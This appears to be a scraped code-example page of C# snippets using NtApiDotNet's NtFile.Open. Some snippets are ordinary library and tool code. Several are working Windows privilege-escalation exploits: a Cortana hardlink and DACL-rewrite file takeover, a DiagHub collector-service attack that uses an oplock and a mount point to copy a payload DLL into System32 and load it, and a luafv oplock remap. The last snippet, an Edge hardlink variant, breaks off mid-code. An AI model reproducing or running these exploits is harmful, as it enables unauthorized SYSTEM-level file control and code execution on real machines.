/// <summary>
 /// Overridden process record.
 /// </summary>
 protected override void ProcessRecord()
 {
     if (ParameterSetName == "Default")
     {
         HandleFile(File);
     }
     else
     {
         using (var obja = new ObjectAttributes(PSUtils.ResolvePath(SessionState, Path, Win32Path),
                                                CaseSensitive ? AttributeFlags.None : AttributeFlags.CaseInsensitive))
         {
             var opts = _options;
             if (OpenReparsePoint)
             {
                 opts |= FileOpenOptions.OpenReparsePoint;
             }
             if (OpenForBackupIntent)
             {
                 opts |= FileOpenOptions.OpenForBackupIntent;
             }
             using (var file = NtFile.Open(obja, _desired_access, _share_mode, opts))
             {
                 HandleFile(file);
             }
         }
     }
 }
        private SecurityDescriptorEntry GetSecurityDescriptor(string device_path)
        {
            using (var file = NtFile.Open(device_path, null, GetMaximumAccess(FileDirectoryAccessRights.ReadControl).ToFileAccessRights(),
                                          FileShareMode.None, FileOpenOptions.OpenForBackupIntent, false))
            {
                if (!file.IsSuccess)
                {
                    WriteWarning($"Opening {device_path} for ReadControl failed: {file.Status}");
                    return(null);
                }

                var sd = file.Result.GetSecurityDescriptor(GetMaximumSecurityInformation(file.Result), false);
                if (!sd.IsSuccess)
                {
                    WriteWarning($"Querying {device_path} for security descriptor failed: {sd.Status}");
                    return(null);
                }

                return(new SecurityDescriptorEntry()
                {
                    DeviceType = GetDeviceType(file.Result),
                    Characteristics = GetDeviceCharacteristics(file.Result),
                    SecurityDescriptor = sd.Result
                });
            }
        }
Esempio n. 3
0
        static void Main(string[] args)
        {
            try
            {
                string dir = CreateDir();
                Console.WriteLine("Created {0} to test mount point bypass", dir);
                using (var token = NtToken.OpenProcessToken())
                {
                    Console.WriteLine("Lowering token to Low IL");
                    token.SetIntegrityLevel(TokenIntegrityLevel.Low);
                }

                using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(dir), null,
                                              FileAccessRights.GenericRead | FileAccessRights.GenericWrite,
                                              FileShareMode.None, FileOpenOptions.OpenReparsePoint | FileOpenOptions.DirectoryFile))
                {
                    Console.WriteLine("Opened {0}", file.FullPath);
                    byte[] buffer = BuildReparseBuffer(Environment.GetFolderPath(Environment.SpecialFolder.Windows));
                    file.FsControl(NtWellKnownIoControlCodes.FSCTL_SET_REPARSE_POINT_EX, buffer, 0);
                    MountPointReparseBuffer rp = (MountPointReparseBuffer)file.GetReparsePoint();
                    Console.WriteLine("Set Mount Point: {0} {1}", rp.Tag, rp.SubstitutionName);
                    Console.ReadLine();
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
                Console.ReadLine();
            }
        }
Esempio n. 4
0
        static bool CheckDevice(string name, bool writable)
        {
            bool success = false;

            try
            {
                using (var imp = NtToken.Impersonate(_pid,
                                                     _identify_only ? SecurityImpersonationLevel.Identification : SecurityImpersonationLevel.Impersonation))
                {
                    FileAccessRights access_mask = FileAccessRights.GenericRead;
                    if (writable)
                    {
                        access_mask |= FileAccessRights.GenericWrite;
                    }

                    FileOpenOptions opts = _open_as_dir ? FileOpenOptions.DirectoryFile : FileOpenOptions.NonDirectoryFile;
                    using (NtFile file = NtFile.Open(name, null, access_mask, FileShareMode.All, opts))
                    {
                        success = true;
                    }
                }
            }
            catch (Win32Exception ex)
            {
                // Ignore access denied and invalid function (indicates there's no IRP_MJ_CREATE handler)
                PrintError(name, ex);
            }
            catch (NtException ex)
            {
                PrintError(name, ex.AsWin32Exception());
            }

            return(success);
        }
Esempio n. 5
0
        static void UpdateSecurity(string path)
        {
            var sd = new NtApiDotNet.SecurityDescriptor("D:AI(A;;FA;;;WD)(A;;FA;;;AC)");

            using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(path), null, FileAccessRights.WriteDac))
            {
                file.SetSecurityDescriptor(sd, NtApiDotNet.SecurityInformation.Dacl);
            }
        }
        static NtFile OpenFile(string name, NtFile root)
        {
            bool is_pipe = root != null && root.DeviceType == FileDeviceType.NAMED_PIPE;

            name = is_pipe || root == null ? name : Path.GetFileName(name);

            return(NtFile.Open(name, is_pipe ? null : root, FileAccessRights.GenericRead | FileAccessRights.Synchronize, FileShareMode.Read,
                               FileOpenOptions.SynchronousIoNonAlert | FileOpenOptions.OpenReparsePoint));
        }
Esempio n. 7
0
 /// <summary>
 /// Get certificates from a PE file.
 /// </summary>
 /// <param name="path">The path to the PE file.</param>
 /// <param name="throw_on_error">True the throw on error.</param>
 /// <returns>The list of authenticode certificate entries.</returns>
 public static NtResult <IReadOnlyList <AuthenticodeCertificate> > GetCertificates(string path, bool throw_on_error)
 {
     using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(path), null, FileAccessRights.ReadData | FileAccessRights.Synchronize,
                                   FileShareMode.Read | FileShareMode.Delete, FileOpenOptions.NonDirectoryFile | FileOpenOptions.SynchronousIoNonAlert, throw_on_error)) {
         if (!file.IsSuccess)
         {
             return(file.Cast <IReadOnlyList <AuthenticodeCertificate> >());
         }
         return(GetCertificates(file.Result, throw_on_error));
     }
 }
 static NtSection CreateSection(string file_path, string name, NtDirectory root)
 {
     using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(file_path), null,
                                   FileAccessRights.GenericRead | FileAccessRights.GenericExecute,
                                   FileShareMode.Read | FileShareMode.Delete, FileOpenOptions.NonDirectoryFile))
     {
         using (var obja = CreateObjectAttributes(name, root))
         {
             return(NtSection.Create(obja, SectionAccessRights.MaximumAllowed,
                                     null, MemoryAllocationProtect.ExecuteRead, SectionAttributes.Image, file));
         }
     }
 }
 /// <summary>
 /// Get the signing level for an image file.
 /// </summary>
 /// <param name="path">The path to the image file.</param>
 /// <returns>The signing level.</returns>
 public static SigningLevel GetSigningLevel(string path)
 {
     using (var file = NtFile.Open(path, null, FileAccessRights.Execute, FileShareMode.Read | FileShareMode.Delete, FileOpenOptions.NonDirectoryFile))
     {
         using (var sect = NtSection.CreateImageSection(file))
         {
             using (var map = sect.MapRead())
             {
                 return(map.ImageSigningLevel);
             }
         }
     }
 }
Esempio n. 10
0
 static NtSection RemapFileAsRW()
 {
     string base_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "luafv_" + Guid.NewGuid());
     Console.WriteLine("Base Path: {0}", base_path);
     DirectorySecurity dir_sd = new DirectorySecurity();
     Directory.CreateDirectory(base_path);
     string target_path = NtFileUtils.DosFileNameToNt(Path.Combine(base_path, "dummy.txt"));
     string license_file = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "license.rtf");
     Console.WriteLine("Trying to map {0} R/W", license_file);
     NtFile.CreateHardlink(NtFileUtils.DosFileNameToNt(license_file), target_path);
     using (var oplock_file = NtFile.Open(target_path, null, FileAccessRights.ReadAttributes, FileShareMode.All, FileOpenOptions.NonDirectoryFile))
     {
         var oplock = oplock_file.RequestOplockAsync(OplockLevelCache.Read | OplockLevelCache.Write, RequestOplockInputFlag.Request);
         Console.WriteLine("Started oplock");
         SetVirtualization(true);
         Console.WriteLine("Opening file");
         using (var file = NtFile.Open(target_path, null, FileAccessRights.GenericRead
             | FileAccessRights.GenericWrite, FileShareMode.All,
             FileOpenOptions.NonDirectoryFile | FileOpenOptions.CompleteIfOplocked))
         {
             SetVirtualization(false);
             Console.WriteLine("{0} {1}", NtProcess.Current.ProcessId, file.Handle.DangerousGetHandle());
             Console.WriteLine("{0} {1}", file.FullPath, file.GrantedAccess);
             CreateVirtualStoreFile(target_path, GetDummyBuffer());
             
             var async_read = file.ReadAsync(1, 0);
             if (!oplock.Wait(10000))
             {
                 throw new Exception("Oplock Timed Out");
             }
             Console.WriteLine("Oplock Fired");
             EaBuffer ea = new EaBuffer();
             ea.AddEntry("Hello", new byte[16], EaBufferEntryFlags.None);
             // Set EA to force the delayed virtualization to complete without triggering oplock.
             Console.WriteLine("Setting EA");
             file.SetEa(ea);
             Console.WriteLine("File now {0}", file.FullPath);
             oplock_file.Close();
             Console.WriteLine("Closed oplock_file");
             if (!async_read.Wait(10000))
             {
                 throw new Exception("Async Read Timed Out");
             }
             Console.WriteLine("Read Complete");
             return NtSection.Create(null, SectionAccessRights.MaximumAllowed, null,
                 MemoryAllocationProtect.ReadWrite, SectionAttributes.Commit, file);
         }
     }
 }
        /// <summary>
        /// Method to create an object from a set of object attributes.
        /// </summary>
        /// <param name="obj_attributes">The object attributes to create/open from.</param>
        protected override object CreateObject(ObjectAttributes obj_attributes)
        {
            FileAccessRights access = Access;

            if (Link)
            {
                if (access == FileAccessRights.None)
                {
                    access = FileAccessRights.ReadAttributes;
                }
            }
            else
            {
                access |= FileAccessRights.Delete;
            }

            string target = ResolveNewName ? PSUtils.ResolveWin32Path(SessionState, NewName) : NewName;

            using (var file = NtFile.Open(obj_attributes, access, ShareMode, Options))
            {
                if (RenameFlags != 0)
                {
                    if (ReplaceIfExists)
                    {
                        RenameFlags |= FileRenameInformationExFlags.ReplaceIfExists;
                    }
                    if (Link)
                    {
                        file.CreateHardlinkEx(target, NewNameRoot, RenameFlags);
                    }
                    else
                    {
                        file.RenameEx(target, NewNameRoot, RenameFlags);
                    }
                }
                else
                {
                    if (Link)
                    {
                        file.CreateHardlink(target, NewNameRoot, ReplaceIfExists);
                    }
                    else
                    {
                        file.Rename(target, NewNameRoot, ReplaceIfExists);
                    }
                }
            }
            return(null);
        }
Esempio n. 12
0
        static string CreateDir()
        {
            string temp_path = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString());

            Directory.CreateDirectory(temp_path);
            using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(temp_path), null, FileAccessRights.WriteOwner))
            {
                var sd = new SecurityDescriptor
                {
                    IntegrityLevel = TokenIntegrityLevel.Low
                };
                file.SetSecurityDescriptor(sd, SecurityInformation.Label);
                return(temp_path);
            }
        }
Esempio n. 13
0
        private NtResult <NtFile> OpenFile(string name, NtFile root, FileOpenOptions options)
        {
            using (ObjectAttributes obja = new ObjectAttributes(name, GetAttributeFlags(), root))
            {
                var result = NtFile.Open(obja, GetMaximumAccess(FileAccessRights.Synchronize | FileAccessRights.ReadAttributes | FileAccessRights.ReadControl),
                                         FileShareMode.Read | FileShareMode.Delete, options | FileOpenOptions.SynchronousIoNonAlert, false);
                if (result.IsSuccess || result.Status != NtStatus.STATUS_ACCESS_DENIED)
                {
                    return(result);
                }

                // Try again with just ReadAttributes, if we can't even do this we give up.
                return(NtFile.Open(obja, FileAccessRights.Synchronize | FileAccessRights.ReadAttributes,
                                   FileShareMode.Read | FileShareMode.Delete, options | FileOpenOptions.SynchronousIoNonAlert, false));
            }
        }
Esempio n. 14
0
 /// <summary>
 /// Method to create an object from a set of object attributes.
 /// </summary>
 /// <param name="obj_attributes">The object attributes to create/open from.</param>
 protected override object CreateObject(ObjectAttributes obj_attributes)
 {
     using (var file = NtFile.Open(obj_attributes, FileAccessRights.Delete | Access, ShareMode,
                                   Options | (DeleteReparsePoint ? FileOpenOptions.OpenReparsePoint : FileOpenOptions.None)))
     {
         if (PosixSemantics)
         {
             file.DeleteEx(FileDispositionInformationExFlags.PosixSemantics | FileDispositionInformationExFlags.Delete);
         }
         else
         {
             file.Delete();
         }
     }
     return(null);
 }
Esempio n. 15
0
        private NtNamedPipeFileClient ConnectPipe(string path, SecurityQualityOfService security_quality_of_service)
        {
            using (var obj_attr = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, (NtObject)null, security_quality_of_service, null))
            {
                using (var file = NtFile.Open(obj_attr, FileAccessRights.Synchronize | FileAccessRights.GenericRead | FileAccessRights.GenericWrite,
                                              FileShareMode.None, FileOpenOptions.NonDirectoryFile | FileOpenOptions.SynchronousIoNonAlert))
                {
                    if (!(file is NtNamedPipeFileClient pipe))
                    {
                        throw new ArgumentException("Path was not a named pipe endpoint.");
                    }

                    pipe.ReadMode = NamedPipeReadMode.Message;
                    return((NtNamedPipeFileClient)pipe.Duplicate());
                }
            }
        }
 /// <summary>
 /// Overridden process record.
 /// </summary>
 protected override void ProcessRecord()
 {
     if (ParameterSetName == "Default")
     {
         HandleFile(File);
     }
     else
     {
         using (var obja = new ObjectAttributes(PSUtils.ResolvePath(SessionState, Path, Win32Path),
                                                CaseSensitive ? AttributeFlags.None : AttributeFlags.CaseInsensitive))
         {
             using (var file = NtFile.Open(obja, _desired_access, _share_mode, _options))
             {
                 HandleFile(file);
             }
         }
     }
 }
 private static NtResult <NtFile> OpenFile(string name, FileAccessRights desired_access, bool open_server)
 {
     using (ObjectAttributes obja = new ObjectAttributes(NamedPipeBasePath + name,
                                                         AttributeFlags.CaseInsensitive, null))
     {
         if (open_server)
         {
             return(NtFile.CreateNamedPipe(obja, desired_access | FileAccessRights.Synchronize,
                                           FileShareMode.Read | FileShareMode.Write, FileOpenOptions.SynchronousIoNonAlert,
                                           FileDisposition.Open, NamedPipeType.Bytestream, NamedPipeReadMode.ByteStream,
                                           NamedPipeCompletionMode.CompleteOperation, 0, 0, 0, NtWaitTimeout.FromMilliseconds(0), false).Cast <NtFile>());
         }
         else
         {
             return(NtFile.Open(obja, desired_access,
                                FileShareMode.Read | FileShareMode.Write, FileOpenOptions.None, false));
         }
     }
 }
Esempio n. 18
0
        public static void Main(string[] args)
        {
            try
            {
                string appLocalData = Environment.GetFolderPath((Environment.SpecialFolder.LocalApplicationData));
                string dirPackageSettingsToMount = $@"{appLocalData}\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings";
                //string tempDir = @"c:\fooDir";
                string tempDir = @"c:\" + Guid.NewGuid().ToString();

                if (args.Length < 1)
                {
                    Console.WriteLine($"[+] You should Specify a target filename. Default is {fileToOwn}");
                    args    = new string[1];
                    args[0] = fileToOwn;
                }
                else
                {
                    if (!File.Exists(args[0]))
                    {
                        Console.WriteLine($"[+] {args[0]} not found");
                        return;
                    }
                }


                if (!HasFullControl(args[0], NTAuthoritySystem))
                {
                    Console.WriteLine($@"[+] {NTAuthoritySystem} has no FULL access to {args[0]}. This exploits works only if SYSTEM has FULL control on target file");
                    return;
                }

                if (HasFullControl(args[0], WindowsIdentity.GetCurrent().Name))
                {
                    Console.WriteLine($@"[+] {WindowsIdentity.GetCurrent().Name} already has Full Control of {args[0]}");
                    return;
                }


                if (GetCortana() == 0)
                {
                    Console.WriteLine("[+] Cortana disabled");
                    return;
                }

                if (!IsCortanaRunning())
                {
                    Console.WriteLine($@"[+] This exploit needs that Cortana process that is running ");
                    Console.WriteLine($@"[+] Start Cortana and run the exploit again  ");
                    Console.WriteLine($@"[+] From cmd : ""start ms-cortana:""");
                    return;
                }

                if (!Directory.Exists(tempDir))
                {
                    Directory.CreateDirectory(tempDir);
                }
                else
                {
                    Directory.Delete(tempDir, true);
                    Directory.CreateDirectory(tempDir);
                }
                Console.WriteLine($@"[+] Directory {tempDir} created");

                string dirOwner        = File.GetAccessControl(tempDir).GetOwner(typeof(NTAccount)).ToString();
                string currentUserName = WindowsIdentity.GetCurrent().Name;

                if (!currentUserName.ToLower().Equals(dirOwner.ToLower()))
                {
                    Console.WriteLine($@"[!] KO - Owner of Directory {tempDir} is {dirOwner} which is different from current user -> {currentUserName} ");
                    return;
                }

                Console.WriteLine($@"[+] Owner of Directory {tempDir} is current user -> {dirOwner} ");

                bool created = HardLink.CreateNtHardLink($@"{tempDir}\foo.txt", fileToOwn);
                if (!created)
                {
                    Console.WriteLine($@"[!] CreateHardLink from {tempDir}\foo.txt to {fileToOwn} failed ");
                    return;
                }
                Console.WriteLine($@"[+] Created HardLink from {tempDir}\foo.txt to {fileToOwn} ");


                // Get handle immediately upon service closing file
                NtFile ntFile = null;

                new Thread(() =>
                {
                    try
                    {
                        IntPtr cThread = GetCurrentThread();
                        SetThreadPriority(cThread, ThreadPriority.THREAD_PRIORITY_HIGHEST);

                        ntFile = NtFile.Open($@"\??\c:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe", null,
                                             FileAccessRights.GenericRead | FileAccessRights.Synchronize,
                                             FileShareMode.None,
                                             FileOpenOptions.NonDirectoryFile | FileOpenOptions.OpenRequiringOplock |
                                             FileOpenOptions.SynchronousIoNonAlert);

                        if (ntFile.OpenResult == FileOpenResult.Opened)
                        {
                            Console.WriteLine($"[+] Oplock acquired - Opened with handle: {ntFile.Handle.DangerousGetHandle()}");
                        }
                        else
                        {
                            Console.WriteLine($"[+] Not acquired handle of : {ntFile.Name}");
                            return;
                        }

                        /*while (true)
                         * {
                         *  try
                         *  {
                         *      Directory.Delete(dirPackageSettingsToMount, true);
                         *  }
                         *  catch (Exception ex)
                         *  {
                         *      continue;
                         *  }
                         *  JunctionPoint.Create(dirPackageSettingsToMount, tempDir, true);
                         *  Console.WriteLine($@"[-] mountpoint created {dirPackageSettingsToMount} to {tempDir}");
                         *  Console.WriteLine($@"[-] Closing handle and free oplock");
                         *  ntFile.Close();
                         *  break;
                         * }*/

                        Console.WriteLine($@"[-] checkin {tempDir}\foo.txt existance ");
                        while (true)
                        {
                            try
                            {
                                if (!File.Exists($@"{tempDir}\foo.txt"))
                                {
                                    created = HardLink.CreateNtHardLink($@"{tempDir}\foo.txt", fileToOwn);
                                    if (!created)
                                    {
                                        Console.WriteLine($@"[!] CreateHardLink from {tempDir}\foo.txt to {fileToOwn} failed ");
                                        return;
                                    }
                                    Console.WriteLine($@"[+] Created HardLink from {tempDir}\foo.txt to {fileToOwn} ");
                                    break;
                                }
                                continue;
                            }
                            catch (Exception ex)
                            {
                                Console.WriteLine($@"[+] ex 2 - {ex.Message} ");
                                break;
                            }
                        }

                        // Give the service some time to rewrite DACLs
                        System.Threading.Thread.Sleep(3000);

                        if (HasFullControl(fileToOwn, WindowsIdentity.GetCurrent().Name))
                        {
                            Console.WriteLine($@"[+] Done - Exploit Succeded ");
                            Console.WriteLine($@"[+] Now {WindowsIdentity.GetCurrent().Name} has Full Control over {fileToOwn} ");
                            Directory.Delete(tempDir, true);
                        }
                        else if (HasControl(fileToOwn, authenticatedUsersGroup, FileSystemRights.Modify))
                        {
                            Console.WriteLine($@"[+] Done - Exploit Succeded ");
                            Console.WriteLine($@"[+] Now {authenticatedUsersGroup} has FileSystemRights.Modify over {fileToOwn} ");
                            Directory.Delete(tempDir, true);
                        }
                        else
                        {
                            Console.WriteLine($@"[!] Too bad... Exploit did not work out");
                            Directory.Delete(tempDir, true);
                        }

                        Console.WriteLine($@"[...] Exiting - Take care, Padovah4ck ");
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine($@"[+] ex 0 - {ex.Message} ");
                        return;
                    }
                }).Start();

                try
                {
                    Thread.Sleep(1000);
                    Console.WriteLine("[-] Cheking if oplock is acquired ");
                    if (ntFile.OpenResult == FileOpenResult.Opened)
                    {
                        Console.WriteLine("[-] OK - let's go.. Killing Cortana ");
                        //string sid = WindowsIdentity.GetCurrent().User.Value;
                        // KillProcessBySidAndProcessName(sid, "SearchUI");
                        Process process = new Process();
                        process.StartInfo.FileName        = "taskkill.exe";
                        process.StartInfo.Arguments       = "/F /IM searchui.exe";
                        process.StartInfo.UseShellExecute = false;

                        process.Start();
                        process.WaitForExit();

                        Thread.Sleep(1000);

                        Console.WriteLine($@"[-] Trying to delete {dirPackageSettingsToMount} and create mountpoint ");
                        try
                        {
                            Directory.Delete(dirPackageSettingsToMount, true);
                        }
                        catch (Exception ex)
                        {
                            Console.WriteLine($@"[+] ex 1a - {ex.Message} ");
                            return;
                        }
                        JunctionPoint.Create(dirPackageSettingsToMount, tempDir, true);
                        Console.WriteLine($@"[-] mountpoint created {dirPackageSettingsToMount} to {tempDir}");
                        Console.WriteLine($@"[-] Closing handle and release oplock");
                        ntFile.Close();

                        /*Thread.Sleep(3000);
                         *
                         * process = new Process();
                         * process.StartInfo.FileName = "cmd.exe";
                         * process.StartInfo.Arguments = "/c start ms-cortana:";
                         * process.StartInfo.UseShellExecute = false;
                         * process.Start();
                         * process.WaitForExit();*/
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine($@"[+] ex 1 - {ex.Message} ");
                    return;
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("Doh.. exception occurred " + ex.Message);
            }
        }
        static void Main(string[] args)
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            NtToken.EnableDebugPrivilege();

            try
            {
                if (args.Length == 0)
                {
                    Application.Run(new MainForm());
                }
                else
                {
                    int    handle      = -1;
                    string text        = String.Empty;
                    bool   read_only   = false;
                    bool   delete_file = false;
                    string filename    = string.Empty;

                    OptionSet opts = new OptionSet()
                    {
                        { "handle=", "Specify an inherited handle to view.",
                          v => handle = int.Parse(v) },
                        { "readonly", "Specify view section readonly", v => read_only = v != null },
                        { "file=", "Specify a file to view", v => filename = v },
                        { "delete", "Delete file after viewing", v => delete_file = v != null },
                    };

                    opts.Parse(args);

                    if (handle > 0)
                    {
                        using (var section = NtSection.FromHandle(new SafeKernelObjectHandle(new IntPtr(handle), true)))
                        {
                            read_only = read_only || !section.IsAccessGranted(SectionAccessRights.MapWrite);
                            using (var map = read_only ? section.MapRead() : section.MapReadWrite())
                            {
                                using (SectionEditorForm frm = new SectionEditorForm(map, GetName(section, map), read_only))
                                {
                                    Application.Run(frm);
                                }
                            }
                        }
                    }
                    else if (File.Exists(filename))
                    {
                        try
                        {
                            using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(filename), null,
                                                          FileAccessRights.ReadData, FileShareMode.Read | FileShareMode.Delete, FileOpenOptions.NonDirectoryFile))
                            {
                                using (NtSection section = NtSection.CreateReadOnlyDataSection(file))
                                {
                                    using (var map = section.MapRead())
                                    {
                                        using (SectionEditorForm frm = new SectionEditorForm(map, filename, true, file.Length))
                                        {
                                            Application.Run(frm);
                                        }
                                    }
                                }
                            }
                        }
                        finally
                        {
                            if (delete_file)
                            {
                                File.Delete(filename);
                            }
                        }
                    }
                    else
                    {
                        throw new Exception("Invalid command line arguments");
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
        public static void Main(string[] args)
        {
            if (!File.Exists("Payload.dll"))
            {
                Console.WriteLine("Put Payload.dll in current directory");
                return;
            }

            NtFile ntFile;
            var    sessionId = Guid.NewGuid();
            var    bytes     = File.ReadAllBytes("Payload.dll");
            // F12 = Developer Tools in IE/Edge, which also uses DiagHub Collector Service for profiling
            // This can be any user-writable folder though
            var scratch = $@"C:\Users\{Environment.UserName}\AppData\Local\Temp\Microsoft\F12\perftools\visualprofiler";

            Console.WriteLine("[-] Creating scratch directory");
            if (!Directory.Exists(scratch))
            {
                Directory.CreateDirectory(scratch);
            }

            // Create sessions config with sessionId, procId, and scratch location
            var procId = Process.GetCurrentProcess().Id;
            var sessionConfiguration = new SessionConfiguration
            {
                ClientLocale             = (ushort)CultureInfo.InvariantCulture.LCID,
                CollectorScratch         = scratch,
                Location                 = CollectionLocation.Local,
                Flags                    = SessionConfigurationFlags.None,
                LifetimeMonitorProcessId = (uint)procId,
                SessionId                = sessionId,
                Type = CollectionType.Etw
            };

            // Use the default collector agent: {E485D7A9-C21B-4903-892E-303C10906F6E} DiagnosticsHub.StandardCollector.Runtime.dll
            var agents = new Dictionary <Guid, string>
            {
                { DefaultAgent.Clsid, DefaultAgent.AssemblyName }
            };
            var procIds = new List <uint> {
                (uint)procId
            };

            Console.WriteLine("[-] Creating instance of IStandardCollectorService");
            _service = GetCollectorService();

            Console.WriteLine("[-] Setting proxy blanket for service");
            SetProxyBlanketForService(_service);

            Console.WriteLine("[-] Starting collector service session");
            Start(sessionConfiguration, agents, procIds);

            Console.WriteLine($"[-] Getting session: {sessionId}");
            var session = _service.GetSession(sessionId);

            Console.WriteLine("[-] Querying session state");
            session.QueryState();
            new Thread(() =>
            {
                Thread.Sleep(500); // This helps populate the .etl file
                try
                {
                    Console.WriteLine("[-] Getting current session result");
                    session.GetCurrentResult(false); // Triggers createion of merged 1.m.etl file
                }
                catch (Exception) { }
            }).Start();

            var reportDir = $@"{scratch}\Report.{sessionId}.1";
            var etlFile   = $"{sessionId}.1.m.etl";

            Console.WriteLine($"[-] Attempting to open {etlFile} with OpLock");
            while (true)
            {
                // Get handle immediately upon service closing file
                try
                {
                    ntFile = NtFile.Open($@"\??\{scratch}\{etlFile}", null,
                                         FileAccessRights.GenericRead | FileAccessRights.GenericWrite |
                                         FileAccessRights.MaximumAllowed | FileAccessRights.Synchronize,
                                         FileShareMode.None,
                                         FileOpenOptions.NonDirectoryFile | FileOpenOptions.OpenRequiringOplock |
                                         FileOpenOptions.SynchronousIoNonAlert);

                    if (ntFile.OpenResult != FileOpenResult.Opened)
                    {
                        continue;
                    }
                    Console.WriteLine($"[+] Opened with handle: {ntFile.Handle.DangerousGetHandle()}");
                    break;
                }
                catch (Exception) { }
            }

            // Attempt to find the random sub-directory and then create mount point to System32
            try
            {
                Console.WriteLine($"[-] Looking for sub-directories in {reportDir}");
                while (true)
                {
                    if (!Directory.Exists(reportDir))
                    {
                        continue;
                    }

                    var dirs = Directory.GetDirectories(reportDir);
                    if (dirs.Length != 1) // Very rare, but did happen during testing
                    {
                        throw new Exception("Didn't find exactly 1 subdirectory, try running again");
                    }

                    Console.WriteLine($"[+] Found sub-directory: {dirs[0]}");
                    Console.WriteLine($@"[-] Creating mount point: \??\{dirs[0]} -> \??\C:\Windows\System32");
                    NtFile.CreateMountPoint($@"\??\{dirs[0]}", @"\??\C:\Windows\System32", null);
                    break;
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine($"[!] Failed to create mount point: {ex.Message}");
            }

            // Overwrite the contents of etl file with payload DLL
            try
            {
                Console.WriteLine($"[-] Overwriting {etlFile} with DLL bytes");
                ntFile.Write(bytes);
                ntFile.SetEndOfFile(bytes.Length);
                ntFile.Close();
            }
            catch (Exception ex)
            {
                Console.WriteLine($"[!] Error writing bytes... {ex.Message}");
            }

            Console.WriteLine("[-] Stopping session to trigger CopyFile");
            _service.GetSession(sessionId).Stop();

            // Wait a second and then check to see if file was copied
            Thread.Sleep(1000);
            if (File.Exists($@"C:\Windows\System32\{etlFile}"))
            {
                Console.WriteLine($@"[+] DLL successfully copied to C:\Windows\System32\{etlFile}");
            }

            // Setup agents with path to copied etlFile (malicious DLL)
            var badAgent = new Dictionary <Guid, string>
            {
                { DefaultAgent.Clsid, DefaultAgent.AssemblyName },
                { sessionId, etlFile }
            };

            Console.WriteLine("[-] Getting new collector service");
            _service = GetCollectorService();

            SetProxyBlanketForService(_service);
            Console.WriteLine("[-] Starting session with DLL payload");
            Start(sessionConfiguration, badAgent, procIds);
            Console.WriteLine($@"[+] All Done! Remember to delete the DLL: C:\Windows\System32\{etlFile}");
            Console.ReadLine();
        }
Esempio n. 21
0
        static void Main(string[] args)
        {
            if (args.Length < 1)
            {
                Console.WriteLine("[+] Specify a target filename");
                return;
            }

            if (!File.Exists(args[0]))
            {
                Console.WriteLine($"[+] {args[0]} not found");
                return;
            }

            if (!HasFullControl(args[0], @"NT AUTHORITY\SYSTEM"))
            {
                Console.WriteLine($@"[+] NT AUTHORITY\SYSTEM has no access to {args[0]}");
                return;
            }

            if (HasFullControl(args[0], WindowsIdentity.GetCurrent().Name))
            {
                Console.WriteLine($@"[+] {WindowsIdentity.GetCurrent().Name} already has Full Control of {args[0]}");
                return;
            }


            if (GetCortana() == 0)
            {
                Console.WriteLine("[+] Cortana disabled");
                return;
            }


            string AppData    = Environment.GetFolderPath((Environment.SpecialFolder.LocalApplicationData));
            string LocalState = AppData + $@"\packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState";

            Console.WriteLine($"[+] Removing {LocalState}");


            try
            {
                Directory.Delete($@"{LocalState}", true);
            }


            catch { }


            IntPtr Thread = GetCurrentThread();

            SetThreadPriority(Thread, ThreadPriority.THREAD_PRIORITY_HIGHEST);

            NtFile ntFile;

            ntFile = NtFile.Open($@"\??\{args[0]}", null, FileAccessRights.MaximumAllowed);

            Console.WriteLine("[+] Waiting to Create Hardlink");

            bool Failed = true;

            while (Failed)
            {
                try
                {
                    ntFile.CreateHardlink($@"\??\{LocalState}\rs.txt");
                    Failed = false;
                }

                catch { }
            }

            Console.WriteLine($"[+] Created Hardlink to {args[0]}");


            // Give the service some time to rewrite DACLs
            System.Threading.Thread.Sleep(2000);


            if (HasFullControl(args[0], WindowsIdentity.GetCurrent().Name))
            {
                Console.WriteLine(@"[+] You have Full Control");
            }

            else
            {
                Console.WriteLine(@"[+] Unlucky - Try again");
            }
        }
Esempio n. 22
0
 private static NtResult <NtFile> OpenMountPointManager(bool throw_on_error)
 {
     return(NtFile.Open(@"\Device\MountPointManager", null, FileAccessRights.Synchronize, FileShareMode.None,
                        FileOpenOptions.NonDirectoryFile | FileOpenOptions.SynchronousIoNonAlert, throw_on_error));
 }
Esempio n. 23
0
        public static void Main(string[] args)
        {
            if (args.Length < 1)
            {
                Console.WriteLine(" [x] Must specify filename");
                return;
            }

            string filename = args[0];
            string path     = $@"C:\Windows\System32\{filename}";

            Console.WriteLine(@" [>] Checking {0}", path);

            // check file exists
            if (!File.Exists(path))
            {
                Console.WriteLine(" [x] File does not exist");
                return;
            }

            // check target file permission
            bool         fc  = false;
            FileSecurity acl = CheckFilePermission(path);

            foreach (FileSystemAccessRule rule in acl.GetAccessRules(true, true, typeof(NTAccount)))
            {
                if (rule.IdentityReference.Value.Equals(@"NT AUTHORITY\SYSTEM") & rule.FileSystemRights.Equals(FileSystemRights.FullControl))
                {
                    fc = true;
                }
            }

            if (!fc)
            {
                Console.WriteLine(@" [x] NT AUTHORTIY\SYSTEM does not have Full Control over target file");
                return;
            }
            else
            {
                Console.WriteLine(@" [>] NT AUTHORITY\SYSTEM has Full Control");
            }

            // kill edge if open
            KillEdge();

            // create hardlink
